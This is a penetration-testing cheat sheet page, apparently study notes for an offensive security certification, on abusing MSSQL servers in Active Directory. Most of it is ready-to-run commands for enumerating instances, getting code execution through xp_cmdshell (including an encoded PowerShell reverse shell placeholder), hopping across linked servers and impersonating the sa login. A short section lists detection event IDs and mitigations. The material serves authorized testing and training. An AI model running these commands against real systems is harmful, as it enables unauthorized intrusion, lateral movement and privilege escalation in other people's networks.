AD^:Active Directory

Attack #76 — MSSQL Server and Linked Server Abuse

MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked…

advancedupdated 2026-08-10NetExec · Impacket · PowerShell

🔷 Attack #76 — MSSQL Server & Linked Server Abuse


📖 How It Works

MSSQL servers in AD environments can be exploited for privilege escalation and lateral movement. Key techniques include: xp_cmdshell for RCE, linked servers for cross-server lateral movement (hopping through database links to reach otherwise unreachable servers), and impersonation to escalate from a low-privileged DB user to sa.


⚙️ Prerequisites

RequirementDetail
MSSQL accessDomain user may have default access to MSSQL instances
xp_cmdshell or impersonation rightsFor execution and escalation

💻 Full Commands

🔵 Enumerate MSSQL Instances

# ── NetExec ───────────────────────────────────────────────────────────────────
nxc mssql 10.10.10.0/24 -u low_user -p 'Password1'

# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded

🔴 xp_cmdshell — RCE

# ── Impacket mssqlclient.py ───────────────────────────────────────────────────
mssqlclient.py corp.local/low_user:'Password1'@SQL01.corp.local -windows-auth

# Inside MSSQL:
# enable_xp_cmdshell
# xp_cmdshell whoami
# xp_cmdshell powershell -e <base64_reverse_shell>
# ── PowerUpSQL ────────────────────────────────────────────────────────────────
Invoke-SQLOSCmd -Instance SQL01.corp.local -Command "whoami"

🔴 Linked Server Hopping

-- ── Find linked servers ──────────────────────────────────────────────────────
SELECT * FROM master..sysservers;
EXEC sp_linkedservers;

-- ── Execute on linked server ──────────────────────────────────────────────────
EXEC ('xp_cmdshell ''whoami''') AT [SQL02.corp.local];

-- ── Double hop (chain through linked servers) ─────────────────────────────────
EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [SQL03.corp.local]') AT [SQL02.corp.local];

🔴 Impersonation

-- ── Check who you can impersonate ─────────────────────────────────────────────
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';

-- ── Impersonate sa ────────────────────────────────────────────────────────────
EXECUTE AS LOGIN = 'sa';
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
15457SQL Serverxp_cmdshell enabled
18456SQL ServerFailed login attempts
4688Security Logsqlservr.exe spawning cmd.exe/powershell

🔗 Attack Chain Context

[MSSQL Abuse] ──→ RCE via xp_cmdshell / lateral move via linked servers
         │
         ├──→ 💻 xp_cmdshell → SYSTEM/service account on DB server
         ├──→ 🔗 Linked servers → hop to unreachable network segments
         └──→ 💀 Defeated by: disable xp_cmdshell, audit linked servers, least privilege

✅ Attack #76 — MSSQL/Linked Server Abuse complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.